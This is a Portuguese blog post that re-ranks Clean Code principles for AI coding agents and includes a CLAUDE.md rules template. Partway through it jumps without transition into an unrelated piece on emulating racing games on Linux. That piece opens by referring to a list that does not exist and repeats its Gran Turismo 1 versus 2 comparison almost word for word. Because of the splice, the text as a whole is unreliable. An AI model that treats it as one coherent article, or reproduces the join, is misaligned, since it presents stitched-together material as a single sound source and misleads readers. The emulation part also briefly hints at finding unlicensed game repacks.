Eu acompanho o Uncle Bob há muitos anos. Troquei mensagem com ele algumas vezes ao longo das décadas, tenho opinião formada sobre as posições dele, e cheguei a fazer uma live no meu canal onde a gente conversou por quase uma hora sobre Clean Code, Agile, Craftsmanship e pra onde a indústria tava indo. Se você nunca viu, recomendo:

O Clean Code especificamente estabeleceu um padrão: código é escrito uma vez, mas lido dezenas de vezes. O trabalho do programador não é só fazer funcionar. É fazer funcionar de um jeito que outro programador consiga entender, modificar e não quebrar. Nomes significativos, funções pequenas, uma responsabilidade por classe, sem repetição, testes automatizados, estrutura clara. O público-alvo sempre foi outro ser humano sentado em frente ao editor tentando entender o que o primeiro fez.

Em 2026, esse público-alvo mudou.

O público não é mais humano

Semana passada escrevi VS Code é o novo cartão perfurado. A tese do artigo é que digitar código manualmente em editor de texto tá virando atividade de nicho, do mesmo jeito que digitar binário direto em painel de Altair virou relíquia depois que compiladores ficaram bons. O agente de IA é o novo compilador: eu descrevo intenção em linguagem natural, o agente navega código, edita, roda teste, ajusta, entrega.

Se essa tese tiver mesmo em pé, a pergunta seguinte é óbvia: pra quem a gente tá escrevendo código agora?

Não é pro programador humano que vai sentar amanhã pra manter. É pro agente que vai ler, editar e estender. E agente não é humano. Agente tem restrições técnicas diferentes, vieses diferentes, limitações diferentes. Uma parte do Clean Code continua valendo (em alguns casos fica mais crítica). Outra parte muda de peso. E aparecem exigências novas que o Uncle Bob não tinha como antecipar em 2008.

Esse artigo é sobre isso. Qual a versão de Clean Code que faz sentido quando o leitor primário é um LLM?

As restrições reais dos agentes

Antes de re-ranquear, vale revisar o que os agentes enfrentam de verdade.

Truncamento de arquivo. A maioria das CLIs de agente limita leitura de arquivo a faixas pequenas. O Claude Code lê por default 2000 linhas por vez. Cursor, Codex, Windsurf, todos têm limites parecidos. Arquivo gigante simplesmente não entra inteiro na janela de contexto numa tacada só, agente tem que pedir pedaço por pedaço, ou pior, usar grep e reconstruir mentalmente.

Atenção degrada com contexto. Claude Opus tem contexto de 200k tokens, Sonnet de 1M, Gemini de 1M. Parece muito. Na prática, testes de “needle in haystack” mostram que a qualidade da recuperação cai bem antes do limite declarado. Flash Attention e variantes aceleram o cálculo, mas não substituem a atenção nativa cheia. Quanto mais coisa você enfia na janela, pior a precisão de detalhe. E o contexto do agente não tem só o seu código: tem CLAUDE.md, tem prompt do sistema, tem histórico de conversa, tem saída de tool, tem log de erro, tem output de teste. Tudo concorrendo pela mesma janela.

Grep é mais barato que read. O agente sabe disso. Ele prefere rg "funcName" do que carregar arquivo inteiro. Fica mais rápido, usa menos token, mira no alvo. Nomes únicos e distintivos tornam isso muito mais eficaz. Isso não é atalho, é decisão arquitetural: escrevi sobre isso em detalhe em RAG Está Morto? Contexto Longo, Grep e o Fim do Vector DB Obrigatório, mostrando que o próprio Claude Code navega repositório com Glob e Grep, sem vector DB, sem embedding, e isso não é deficiência, é design maduro. Busca lexical + leitor inteligente consome o texto bruto bate retriever denso + top-k em praticamente todo benchmark de domínio real. Você se beneficia disso na hora de organizar seu código: nomes grepáveis não são só “bom pra humano”, são a API primária de navegação do agente.

Tool calls custam token. Cada Read ou Edit ou Bash gasta tokens de input e output. Arquivo curto, output de teste pequeno, log enxuto, tudo isso mantém o agente produtivo e a conta baixa.

Latência importa. Agente em loop, cada tool call adiciona segundos. Arquivo grande demorado de processar vira gargalo perceptível de sessão.

Grepar por padrão visual é difícil. Se você usou indentação inconsistente, tab vs espaço misturado, brace style variado entre arquivos, o agente gasta tokens internalizando a bagunça. Consistência ajuda.

A partir dessas restrições, dá pra re-ranquear os princípios do Clean Code em ordem de relevância pra trabalho com agente.

Re-ranqueamento: Clean Code na era dos agentes

Vou da mais importante pra menos. Um aviso: não é que as de baixo deixam de importar. É que as de cima passaram a importar MUITO mais.

1. Funções pequenas (e arquivos pequenos)

Uncle Bob: “funções devem fazer UMA coisa, devem fazer BEM, e devem fazer só isso”. Tamanho ideal de 4 a 20 linhas, no livro.

Pra agente, essa recomendação virou obrigação técnica. Uma função pequena cabe numa única tool call sem truncamento. Um arquivo curto (mantenha abaixo de 500 linhas, idealmente 200-300) cabe numa única leitura. Se o agente consegue pegar a unidade inteira de sentido numa chamada, ele raciocina sobre ela com atenção cheia. Se tem que paginar, ele monta um modelo mental fragmentado, e cada fragmento custa atenção.

Antigamente, “função pequena” era bom pra humano porque facilita leitura. Hoje, “função pequena” é bom porque casa com a unidade de processamento do modelo. Se tem uma recomendação pra levar em consideração, é essa.

2. Single Responsibility Principle (SRP)

Cada módulo faz uma coisa e tem uma razão pra mudar. Já era o coração do Clean Code. Pra agente, vira ainda mais crítico porque:

• O agente consegue isolar a unidade pra entender sem carregar o resto do sistema
• Dá pra rodar teste focado sobre ela
• Dá pra editar sem temer efeito colateral
• Grep por responsabilidade vira previsível

Código com responsabilidades embaralhadas força o agente a carregar muito mais contexto pra fazer qualquer mudança simples. Classe de 800 linhas que faz três coisas é pior pro agente do que três classes de 250 linhas, mesmo que o total seja o mesmo.

3. Nomes significativos e únicos

Clean Code já pregava: nomes revelam intenção, sem disinformação, distintivos, pronunciáveis, pesquisáveis. Pro agente, “pesquisáveis” virou a propriedade mais importante dessa lista.

Agente pesquisa código via grep/ripgrep o tempo todo. Nome genérico (data, process, handler, Manager, Service) retorna cinquenta matches e obriga o agente a ler cada um. Nome distintivo (UserRegistrationValidator, InvoiceLineItemTotal, ClaudeCodeSessionTracker) retorna três matches e o agente vai direto no certo.

Regra prática: se você grep o nome e vem muita coisa irrelevante, o nome tá ruim pro agente. Se vem só o que importa, o nome tá certo.

4. Comentários com contexto e proveniência

Aqui é onde a inversão é mais gritante. Pra Uncle Bob em 2008, o axioma era: “código bom se explica sozinho, comentário em excesso é code smell, cada comentário é uma dívida que fica desatualizada”. Todo programador experiente que leu o livro absorveu essa regra. Código bem nomeado não precisa de comentário. Comentário demais = alerta de código ruim tentando se justificar.

Agora inverte. O agente lê os comentários. E gosta deles. Comentário vira contexto de primeira classe. O agente tem fluência perfeita de sintaxe, sabe exatamente o que x++ faz, não precisa de legenda óbvia (esse tipo ainda é ruim, olha o item 13). O que ele NÃO sabe é por que você escolheu essa abordagem em vez da óbvia, qual bug de produção motivou essa lógica estranha, qual constraint de negócio força essa ordem específica, qual workaround existe porque a lib upstream tem bug conhecido #1234, qual commit introduziu essa decisão, qual issue do Jira é a referência. Esse tipo de informação é proveniência: o porquê da decisão. Só existe na cabeça do humano que escreveu, na mensagem de commit, ou num comentário bem colocado. Pro agente, o comentário é a fonte mais acessível durante um tool call.

Docstring com intenção e exemplo de uso também viraram sinal forte. Quando o agente pega uma função sem entender o contexto, docstring de cabeça (tipo JSDoc com exemplos, Python """, Rust ///) encurta drasticamente o caminho pra uma mudança correta. Uncle Bob era cético de JavaDoc em 2008 porque ficava desatualizado. Hoje, com o agente podendo reescrever a docstring junto com o código, esse contra-argumento perdeu peso.

Uma consequência prática disso é: não pode os comentários que o agente escreve. Se você tem o reflexo “comentário verboso é ruído” herdado da era Clean Code original, essa regra mudou. O agente colocou aquele comentário porque no ato de gerar o código ele decidiu que aquela informação era digna de preservar pra futura edição. Remover o comentário no code review é tirar contexto que o próprio agente vai querer ler na próxima interação. Deixa o agente comentar. Ele sabe o que faz. O único tipo de comentário do agente que vale remover é o comentário óbvio e redundante (item 13), e mesmo esses os modelos recentes raramente produzem se o system prompt tá bem escrito.

5. Tipos explícitos

Isso não tá no Clean Code de 2008 porque a indústria ainda não tinha se convertido. Mas em 2026 é critério fundamental.

Python sem type hints, JavaScript em vez de TypeScript, Ruby sem RBS. Código dinâmico sem anotação obriga o agente a inferir tipo a partir de uso, o que custa raciocínio e erra frequentemente. Código tipado dá gabarito imediato: assinatura fala o que entra, o que sai, quais estados são válidos. O agente economiza trabalho de descoberta e erra menos.

Se você ainda tá em Python 3 sem type hints, a transição vai aumentar a produtividade do agente muito mais do que qualquer refactoring de lógica.

6. DRY (Don’t Repeat Yourself)

Clean Code já dizia: duplicação é raiz de todo mal. Pra agente, duplicação é pior que pra humano por uma razão específica: quando o agente tem que mudar uma coisa que tá replicada, ele pode atualizar uma cópia e esquecer das outras. A janela de atenção dele não tem gravidade natural que puxe “ah, tem mais duas cópias disso em outros arquivos”. Ele tem que achar cada uma via grep, e se o padrão tem variação sutil entre as cópias, o resultado fica inconsistente.

Fatorar em função ou módulo reutilizável não é estética. É segurança de refactor automatizado.

7. Testes que o agente consegue rodar

Uncle Bob dedica um capítulo inteiro a Unit Tests e o F.I.R.S.T (Fast, Independent, Repeatable, Self-Validating, Timely). Continua valendo tudo, com um adendo importante: o teste precisa ser executável pelo agente sem setup humano.

Isso significa: comando pra rodar o teste tá no README ou CLAUDE.md, tá no Makefile, tá no package.json. Output tem formato previsível que o agente parseia. Não depende de seed manual de banco, de arquivo de config que não tá no repo, de credencial secreta. O agente escreve código, roda teste, lê output, ajusta, roda de novo. Esse ciclo é a base de tudo. Se o teste não roda headless, o agente fica cego.

Aqui eu falo com experiência de campo. Documentei isso no Do Zero a Pós-Produção em 1 Semana com IA, onde mandei ver num projeto real: 274 commits em 8 dias, 4 aplicações integradas, 1.323 testes automatizados no final. O que fez aquilo funcionar não foi “IA programa sozinha”. Foi Extreme Programming com agente no lugar do par humano. Rodar teste em cada commit, ter CI apertado, cobertura acima de 80% (95%+ na lógica de negócio), ratio de linha-de-teste pra linha-de-código em alguns módulos maior que 1:1. Parece overkill. Não é. Em 274 commits, o CI pegou bug real mais de 50 vezes, bugs que iriam direto pra produção se eu tivesse confiado cegamente no agente. Sem teste, o agente te entrega código plausível que silenciosamente quebra algo que funcionava ontem. Com teste forte, o agente vira multiplicador: ele gera teste, o teste valida o código que ele escreveu, o teste é a rede de segurança da próxima mudança dele. Loop virtuoso.

As práticas do XP (pair programming, CI, testes antes, refactoring contínuo, feedback curto) não ficaram obsoletas. Viraram exatamente o jeito certo de trabalhar com agente. Quem programa em cowboy mode sem teste, hoje, não é rebelde. É só lento, porque o agente sem teste fica chutando, e chute precisa ser revisado na mão, o que mata a velocidade que o agente deveria trazer. Testes bons com cobertura bem feita viraram a diferença entre agente produtivo e agente que fica chutando. Ou, dito de outro jeito: TDD virou obrigação técnica, não mais filosofia.

Cobri esse tema de outro ângulo em Software Nunca Está “Pronto”, mostrando que a vida de pós-deploy é onde o teste mais importa: em dez dias de operação depois do lançamento, eu rodei 56 commits de correção, hardening e ajuste em resposta a comportamento real, e cada commit foi acompanhado de teste de regressão. Sem rede, cada um desses 56 commits seria uma oportunidade de quebrar algo que funcionava ontem. TDD não é fase, é hábito.

8. Estrutura de diretório previsível

Clean Code pouco fala sobre isso (tava mais focado em código dentro de arquivo). Pra agente, a organização em árvore importa. Se src/controllers/users.rb implica que tem src/models/user.rb e src/views/users/, o agente consegue antecipar paths sem precisar listar diretório. Se o projeto usa nomenclatura idiossincrática (arquivos random, nomes sem padrão, tudo flat numa pasta), o agente perde tempo com find.

Convenções fortes de framework (Rails, Django, Next.js, Laravel) ajudam muito agente. Projeto sem convenção, o agente cria uma com o tempo, mas até lá gasta tokens explorando.

9. Dependency Injection e Testabilidade

Código com dependências injetadas (não hardcoded) é mais fácil de testar em isolamento. O agente aproveita isso. Ele consegue substituir o EmailSender real por um FakeEmailSender no teste, sem tocar na lógica. Código que instancia suas dependências internamente obriga o agente a gambiarra-monkey-patch-sobe-servidor-de-mentira, que é lento, frágil, e polui a sessão com sujeira de infra.

DI não é cerimônia. É escopo de isolamento. E em projeto de vida real, DI vira rapidamente refactor load-bearing: num dos meus projetos (o M.Akita Chronicles), eu descobri depois do lançamento que precisava trocar o modelo LLM default pra outro provedor. A variável de ambiente existia desde o início. Mas o nome do modelo ainda estava hardcoded em referência em 24 arquivos. Um commit inteiro (Centralize LLM model config) tocou os 24 pra isolar a config numa constante única. Trocar de modelo depois disso virou mudança de uma linha. Esse é exatamente o tipo de refactor que só aparece depois que o software encosta na realidade, e é onde DI e isolamento de config pagam caro se você não fez antes.

10. Evitar aninhamento profundo

Clean Code fala de nível único de abstração por função. Um corolário é: evite if dentro de for dentro de if dentro de try. Cada nível de indentação é mais atenção que o modelo tem que gastar rastreando estado. Indentação de quatro níveis é MUITO mais cara cognitivamente pro agente do que dois níveis com early return.

Pattern matching, guard clauses, early returns, flatten de lógica, tudo isso melhora a legibilidade pro modelo igual melhora pra humano, só que de forma mais mensurável porque o custo é medido em qualidade de resposta.

11. Erro com contexto

raise ValueError("invalid input") não ajuda o agente quando ele lê o stack trace. raise ValueError(f"invalid input: received {repr(x)}, expected non-empty string of digits") ajuda. O agente usa mensagem de exceção como sinal pra debug. Mensagem vaga = agente roda round extra pra descobrir o que deu errado.

Uncle Bob falava disso em Error Handling: “Provide context with exceptions”. Virou crítico agora.

12. Formatação e estilo

Não perde tempo nisso. Usa o formatador default ou mais popular da linguagem: cargo fmt pra Rust, gofmt pra Go, prettier pra JS/TS, black ou ruff pra Python, rubocop -A pra Ruby. Configura no pre-commit, configura no editor pra rodar ao salvar, e segue a vida. O agente lida bem com qualquer estilo consistente, e o formatador automático garante que o diff não fica bagunçado entre commits. Discussão de tab vs espaço, 80 vs 100 colunas, brace style, tudo isso virou ruído. O formatador decide, você aceita.

13. Comentário que descreve o óbvio

A última da lista. Continua ruim, virou ainda mais ruim. Comentários como // increment i by 1 acima de i++ desperdiçam tokens no agente exatamente como desperdiçavam paciência no humano. Modelo sabe ler código, não precisa de legenda óbvia.

Se você tem o hábito de escrever comentários óbvios porque alguma escola te ensinou assim, esse é o momento de parar. Em 2008 era ruim porque poluía visual. Em 2026 é ruim porque custa dinheiro real em tokens.

O que Uncle Bob não podia antever

Além de re-ranquear o que tava no livro, algumas coisas novas surgiram que são específicas do mundo de agentes:

Arquivos de meta-documentação pra agentes. CLAUDE.md, AGENTS.md, .cursor/rules, e afins. São arquivos que o agente lê antes de qualquer tool call, descrevendo convenções do projeto, comandos importantes, caveats, coisas que não vão em docstring. Escrever esses arquivos é um skill novo: curto, direto, imperativo, orientado a ações. Nada de prosa filosófica. Bulletpoint do que agente precisa saber pra não cagar.

README com arquitetura alto nível. Uncle Bob pouco se importava com README (o livro é sobre código). Pra agente, READMEs bem feitos encurtam muito o caminho pro agente entender o shape do projeto. Diagrama simples em ASCII ou Mermaid ajuda.

Logging estruturado. Log em formato JSON com campos nomeados é muito mais útil pro agente do que log em prosa. Agente parseia JSON trivialmente, usa os campos pra filtrar erro relevante, correlaciona entre serviços. printf solto em texto livre obriga parsing heurístico.

Comandos de observabilidade acessíveis. pnpm test, make lint, cargo check, python -m mypy — quanto mais o projeto expõe comandos previsíveis que o agente pode invocar pra validar mudanças, melhor. Se pra rodar teste precisa de 10 passos de setup manual, o agente não roda teste, e o ciclo de feedback quebra.

Scripts de setup idempotentes. Agente tem que poder rodar bin/setup ou scripts/bootstrap.sh numa máquina limpa e chegar num estado que permita trabalhar. Se o onboarding depende de instruções em cabeça humana, o agente tá excluído do jogo.

Instruindo o agente a escrever código limpo

Tem um detalhe importante que só fica claro depois de umas 500 horas usando agente: nenhum LLM faz essas coisas por default. Você pede pra ele “implementa a feature X” e ele vai implementar do jeito que o modelo acha médio. Sem injeção de dependência. Com funções de 80 linhas. Sem testes, ou com testes que mockam coisa errada. Duplicando lógica porque é mais rápido. Criando arquivo de 2000 linhas porque “fica tudo junto”. Você precisa ESCREVER essas regras. O agente lê, e segue.

Onde escrever: CLAUDE.md, AGENTS.md, .cursor/rules, .github/copilot-instructions.md, dependendo da CLI. Formato: curto, imperativo, orientado a ação. Agente lê esses arquivos a cada iteração (o Claude Code relê o CLAUDE.md em toda query), então cada linha gasta token de contexto — densidade importa.

Abaixo segue uma proposta de template pra você colar num CLAUDE.md de projeto novo, consolidando o que discuti acima em formato que o agente consome. Não é versão definitiva, é ponto de partida pra testar, ajustar à sua linguagem, ao seu time, ao seu fluxo. Se alguma regra não encaixar no teu contexto, remove. Se precisar de regra nova, adiciona. O ponto é ter o esqueleto estruturado:

## Code style

- Functions: 4-20 lines. Split if longer.
- Files: under 500 lines. Split by responsibility.
- One thing per function, one responsibility per module (SRP).
- Names: specific and unique. Avoid `data`, `handler`, `Manager`.
  Prefer names that return <5 grep hits in the codebase.
- Types: explicit. No `any`, no `Dict`, no untyped functions.
- No code duplication. Extract shared logic into a function/module.
- Early returns over nested ifs. Max 2 levels of indentation.
- Exception messages must include the offending value and expected shape.

## Comments

- Keep your own comments. Don't strip them on refactor — they carry
  intent and provenance.
- Write WHY, not WHAT. Skip `// increment counter` above `i++`.
- Docstrings on public functions: intent + one usage example.
- Reference issue numbers / commit SHAs when a line exists because
  of a specific bug or upstream constraint.

## Tests

- Tests run with a single command: `<project-specific>`.
- Every new function gets a test. Bug fixes get a regression test.
- Mock external I/O (API, DB, filesystem) with named fake classes,
  not inline stubs.
- Tests must be F.I.R.S.T: fast, independent, repeatable,
  self-validating, timely.

## Dependencies

- Inject dependencies through constructor/parameter, not global/import.
- Wrap third-party libs behind a thin interface owned by this project.

## Structure

- Follow the framework's convention (Rails, Django, Next.js, etc.).
- Prefer small focused modules over god files.
- Predictable paths: controller/model/view, src/lib/test, etc.

## Formatting

- Use the language default formatter (`cargo fmt`, `gofmt`, `prettier`,
  `black`, `rubocop -A`). Don't discuss style beyond that.

## Logging

- Structured JSON when logging for debugging / observability.
- Plain text only for user-facing CLI output.

Esse bloco cabe em menos de 100 linhas e gasta cerca de 500 tokens por iteração. Parece muito, mas a economia em qualidade de código e em ausência de retrabalho compensa facilmente, especialmente se você tá numa conta API paga por token. Tomem como base e evoluam com a experiência de cada um.

Alguns itens (SRP, funções pequenas, testes) o agente até tenta fazer sozinho. Outros (DI, DRY rigoroso, tipos explícitos em TODO lugar, nomes agressivamente únicos) ele só faz quando você fala explícito. E alguns (como “não apaga os comentários que você mesmo escreveu no refactor”) são tão contraintuitivos pro treino padrão dele que sem a instrução ele VAI podar. Daí a importância do arquivo de regras existir e ser lido a cada iteração.

Tem um padrão análogo que vale mencionar, ligado ao princípio de defensive programming: o agente implementa circuit breaker, retry com backoff, timeout agressivo, graceful degradation, tudo certinho — quando você pede. Mas sozinho ele não vai propor. O agente não sabe quais são os pontos de falha operacional do teu sistema, então ele implementa o caminho feliz e espera instrução. Se a tua CLAUDE.md listar as categorias de defensive code que o projeto precisa (rate limit, retry, breaker, fallback), o agente cobre. Se não listar, ele não inventa. É outro caso em que a instrução explícita pro agente é o que separa código robusto de código ingênuo.

Se você usar o mesmo agente em projetos diferentes, vale ter um template base e adicionar rules específicas por projeto no topo. Mas comece com algo parecido com o acima e itere em cima.

A versão curta

Uncle Bob escreveu o Clean Code pra ser lido por outros humanos. Em 2026, o leitor primário virou o agente. A boa notícia é que a maioria das coisas que o livro pregava continua valendo. A má notícia é que algumas coisas que eram opinião (“arquivo deve ter N linhas”) viraram restrição técnica (“arquivo com X linhas faz o agente performar pior”). A diferença é que agora tem métrica: custo de token, latência de tool call, qualidade de output. Quem escreve código limpo pro agente economiza dinheiro de conta de API, tempo de sessão, e tem menos alucinação no output.

E tem um bônus cultural que vale registrar: todas essas práticas (XP, TDD, SOLID, SRP, DI, código pequeno, testes abundantes) estavam caindo em desuso nos anos 2010, substituídas por “move fast and break things” e bootcamp de dois meses. Os programadores que investiram em fundamento viraram minoria, e virou fashion falar mal de Uncle Bob na internet. Acontece que exatamente esses fundamentos passaram a ser o diferencial técnico de trabalhar com agente. Quem manteve a disciplina, tá bem servido. Quem desprezou, tá apanhando pra ensinar o agente a não cometer erros que a turma do XP tinha mapeado 25 anos atrás.

Código limpo nunca foi moda. Virou infraestrutura.

No topo dessa lista estão dois monstros. Primeiro, Driveclub no shadPS4. É exclusivo de PS4, nunca foi portado, a Evolution Studios foi fechada, não tem remaster. Pra jogar fora do PS4 original, só via emulação, e emulação de PS4 ainda é a parte mais imatura da ecossistema hoje. Esse é de longe o mais difícil da lista.

Segundo, Forza Motorsport 4 com Project Forza Plus no Xenia Canary. FM4 é o GOAT da era Xbox 360, Project Forza Plus é a mod comunitária que consolida patches e conteúdo, e fazer os dois rodarem juntos no Xenia com gráfico decente, sem crash de áudio e sem shadow bug, levou horas sérias de trial and error.

Em torno desses dois eu organizei o resto do que eu já sabia que funcionava em algum nível, só faltava consolidar num setup repetível: Gran Turismo 4 com Retexture 3.0 e HD HUD, Gran Turismo 3 com HD textures e widescreen, Gran Turismo 2 na mod Spec II, os Gran Turismos de PS3 (GT5 e GT6), os Forza Horizon 1 e 2, os PGRs, Ridge Racer, Enthusia, Colin McRae. Esses eu tinha ideia de como fazer, só precisava consolidar num setup que não volta a quebrar na próxima vez que eu reinstalar o sistema.

Antes de entrar no detalhe, preciso esclarecer duas coisas.

Primeiro, sobre a infra: não vou repetir aqui o como o setup foi montado. Já escrevi isso em detalhe no artigo Distrobox de Emulação com Claude Code. Arch Linux num distrobox com --nvidia, 17 roles Ansible, todos os emuladores no AUR, ES-DE como frontend, configs per-game automatizadas, scripts Python pra PS3 update check e Xbox 360 title updates, Xenia via Wine. Lê lá. O repo tá em akitaonrails/distrobox-gaming pra quem quiser reproduzir. Aqui eu vou falar dos jogos.

Segundo, sobre o gosto: eu gosto de simcade de corrida. Gran Turismo é meu vício declarado desde o PS1, e escrevi sobre o resto no artigo do meu cockpit Formula FX1. Volante direct drive, pedal com load cell, triple monitor quando tô afim de sofrer. Esse é o tipo de corrida que eu gosto.

O aviso pra quem já tá de dedo no teclado

Sim, eu conheço iRacing e os outros sims e simcades atuais. Eu tenho 12 TB de ISO e ROM no NAS, provavelmente tenho algum que você ia lembrar de citar. Não é por falta de opção que eu tô focando em emulação hoje.

Aliás, dos jogos novos que eu realmente tô esperando: Forza Horizon 6 em Tóquio, Assetto Corsa EVO e Assetto Corsa Rally. Tô jogando as demos dos dois Assetto Corsa e gostando muito das campanhas single-player. Quando eles saírem em versão final, vão virar meus jogos principais de sim na rotina. Esse artigo aqui cobre um lado diferente da coleção, que é tirar do esquecimento os clássicos que ainda não têm remaster.

Hoje, aqui, eu estou interessado nesses jogos específicos que listei acima. Ponto. Você faz o que você quer, eu faço o que eu quero. Se você quer iRacing, abra um Steam e vá em paz. Esse artigo é sobre mexer com emulador, preservar jogo velho, e tirar essas pérolas do esquecimento num setup Linux. Quem tá procurando review de sim atual não vai encontrar aqui.

Agora vamos ao que interessa.

Observação sobre os vídeos: a maioria tá sem áudio porque eu esqueci de ligar a captura de som no OBS antes de gravar e fiquei com preguiça de re-gravar. O áudio funciona perfeito em todos os emuladores aqui, é falha minha no OBS, não do setup.

Settings globais por emulador

Antes dos jogos, vale consolidar as configs globais que valem pra tudo em cada emulador. Isso tá automatizado no repo, mas se você tá configurando na mão, aqui tá o resumo.

DuckStation (PS1)

• Renderer: Vulkan
• Internal Resolution Scale: 8x (8K render, downscalado pro monitor)
• Texture Filtering: JINC2 (preserva pixel art mas suaviza)
• PGXP: ligado (corrige wobble de vértice típico do PS1)
• Widescreen Hack: ligado como fallback, mas preferência por cheat widescreen per-game
• Aspect Ratio: 16:9 com widescreen cheat, 4:3 sem

PS1 hoje em dia sobe liso no DuckStation. É o emulador mais maduro da lista. A atenção vai pras escolhas per-game (alguns jogos precisam de cheat específico de widescreen).

PCSX2 (PS2)

• Renderer: Vulkan
• Upscale: 4x SSAA (1440p nativo → 4K interno)
• Anisotropic Filtering: 16x
• Post Processing: FXAA ligado, PCRTC antiblur ligado
• Deinterlacing: Automatic (alguns jogos precisam override)
• Controller: bindings Xbox-style (eu uso controle 8BitDo)

PCSX2 2.7.x é muito superior ao 2.6.3 que ainda tá no repo oficial do Arch. O AUR pcsx2-latest-bin tracka o 2.7.x e é onde mora o texture replacement, FXAA moderno e PCRTC antiblur. Se você tá em distro diferente e tá no 2.6.3, procure o AppImage oficial.

RPCS3 (PS3)

• Renderer: Vulkan
• Resolution Scale: 300% (geralmente) ou nativo (jogos com issue de upscale)
• Shader Precision: Ultra
• Force High Precision Z: ligado
• SPU XFloat: Accurate
• Multithreaded RSX: ligado
• Write Color Buffers (WCB) / Read Color Buffers (RCB): desligados por padrão (GT-series safety)

RPCS3 é onde mais tem armadilha. Cada jogo tem preset recomendado na DB de compatibilidade oficial. E atenção: configs per-game ficam em ~/.config/rpcs3/custom_configs/config_<SERIAL>.yml. Prefixo config_ obrigatório. Perdi tempo até descobrir isso, o RPCS3 aceita o YAML silenciosamente e depois ignora se o nome tá errado.

Xenia Canary (Xbox 360)

• Build: Canary (o master tá parado há meses, Canary é o que anda)
• Renderer: Vulkan
• Render Target Path: rtv por default, fsi pra jogos específicos (PGR4)
• User Profile: criado uma vez, persiste
• Wine Prefix: dedicado, gerenciado pelo Xenia Manager

Xenia no Linux roda via Wine, gerenciado pelo Xenia Manager. Não tem build nativo decente. Funciona bem, mas cada jogo pede ajuste específico, e Title Updates tem que ser puxado manualmente do archive.org (escrevi um script pra isso, detalhes no artigo anterior).

shadPS4 (PS4)

Esse merece a seção dedicada no final. Resumindo: funciona pra alguns jogos simples, pra Driveclub ainda não é confiável. Continua sendo um tiro no escuro.

PS1 no DuckStation

Gran Turismo (o primeiro, de 1997)

Esse aqui é puro sentimento. GT1 foi um dos primeiros jogos que eu comprei pro PS1, e joguei até rachar o CD. Na época, era outro patamar. Simulação real numa máquina de 128K de RAM de vídeo, física decente, 140 carros quando todo mundo tinha 15, trilha sonora memorável.

Mas sejamos honestos: não dá pra voltar hoje. A física do GT1 tem drift exagerado, o carro desliza mais do que deveria em qualquer curva acima de 80 km/h. É parte do charme de 1997 mas irrita em 2026. O modelo de controle foi muito refinado a partir do GT2, e tudo que veio depois só melhorou. Entre GT1 e GT2, GT2 vence em conteúdo (650+ carros vs 140) e principalmente em dirigibilidade.

Eu deixo o GT1 no ES-DE pra abrir em momentos de nostalgia, jogar uns 10 minutos em Trial Mountain e fechar. Pra gameplay sério da era PS1, vai de GT2.

Gran Turismo 2 (Spec II Mod)

O Gran Turismo original do PS1 é um marco histórico. Eu joguei muito na época. Hoje, pra jogar de novo? Não. GT2 existe, e GT2 é superior em tudo. Mais carros (650+), mais pistas, mais modos, e principalmente, um modelo de controle muito melhor. O GT1 tem aquele drift exagerado onde o carro desliza mais do que deveria, o GT2 ajustou isso pra algo mais próximo do que a série seria a partir do PS2. Entre jogar GT1 ou GT2, sempre GT2.

E o GT2 que eu rodo hoje é o GT2 Spec II Mod do Project A-Spec, um projeto comunitário que consolida as duas variantes regionais (Arcade + Simulation) num único jogo, traz de volta eventos que foram cortados no release final, corrige bugs de física, adiciona suporte a widescreen nativo e dá quality-of-life updates em menus. É o jeito definitivo de jogar GT2 em 2026. O projeto não mantém mais site próprio, as atualizações vêm pelo Twitter do autor.

Pra rodar:

O cheat de 8 MB RAM é importante pra pistas cheias (tipo Seattle em corridas populated) onde o áudio começa a estourar. Ele simula a expansão de memória da versão japonesa que nunca veio pro Ocidente.

Colin McRae Rally 1 e 2

Jogos icônicos do PS1. CMR1 tem aquela sensação áspera de rally primeiro-gen que tem seu charme. CMR2 é tecnicamente superior, física melhor, mais rallys, melhor grafia. Mas eu vou ser honesto: pra jogar CMR2 hoje, vale procurar a versão PC original. Resolução maior, 60fps nativo (a versão PS1 trava em 30), controle direto de teclado/volante. Existem repacks do Codemasters na internet, tem umas 40 segundos num search decente. Não vou linkar, você sabe onde procurar.

No PS1 via DuckStation eles rodam liso, nostalgia garantida, mas não é onde eu passo o tempo.

PS2 no PCSX2

Gran Turismo 3 A-Spec

GT3 foi um salto geracional. Saiu do mundo quadradinho do PS1 pra um mundo de shaders, environment mapping decente, modelos de carro com polígono sério, física que finalmente começou a parecer com física de verdade. A trilha sonora com Feeder de “Just a Day” abrindo o jogo ainda me dá arrepio.

O problema é que GT3 tem MENOS conteúdo que GT2. Polyphony foi mais cautelosa, cortou modos pra focar em qualidade. Licença A/B/S é menor, carros são menos, pistas são fewer. Mas o que tem é polido.

Em 2026 no PCSX2 2.7.x, GT3 fica muito bom. HD textures de comunidade, widescreen pnach, anti-aliasing via SSAA, 16x AF. Parece jogo relançado.

Caveat sobre o pack de retextura: quando ligado, tem cenas de mostruário de carro no garage onde o NFS stream causa um flicker momentâneo. Não incomoda em corrida. Se te irrita no menu, desliga.

Lembrete: pro widescreen pnach fazer efeito você ainda precisa entrar nas opções dentro do jogo e mudar o aspect ratio pra 16:9. O pnach libera a opção no menu, não aplica automaticamente.

Gran Turismo 4 (Spec II Mod)

GT4 é o meu GOAT da série. 700+ carros, 50+ circuitos, física ainda respeitável pra padrão 2026, e aquela trilha sonora que mistura rock alternativo, lounge japonês, e o infame “Sail Away” do Moby no menu principal. Foi o jogo que mais mexi em 2004, e é o que eu mais mexo hoje.

Igual o GT2, o GT4 que eu rodo hoje não é o disco original. É o Gran Turismo 4: Spec II mantido pelo TheAdmiester — uma mod comunitária massiva que é objetivamente o melhor jeito de jogar GT4 em 2026. Ela combina o disco final USA, a Beta prototype de 2003 e o release japonês original num único jogo, restaurando carros cortados (incluindo vários que nunca saíram fora do Japão), eventos cancelados, dezenas de faixas de trilha sonora faltantes, suporte a widescreen 16:9, mais de 30 cheats integrados como opções de menu (pro tuning, velocidade máxima, economia de combustível), opção de trocar entre idiomas Inglês/Japonês, e correções de bugs originais. O projeto é ativo, ainda recebe patches e tem instalador próprio que aplica sobre uma ISO USA limpa.

Na prática, Spec II é o que o GT4 deveria ter sido se a Polyphony tivesse tido mais seis meses pra polir. Quando você joga hoje, é GT4 com todo o conteúdo que ficou de fora + quality-of-life moderno. Pra qualquer um que gostou do original, é obrigatório.

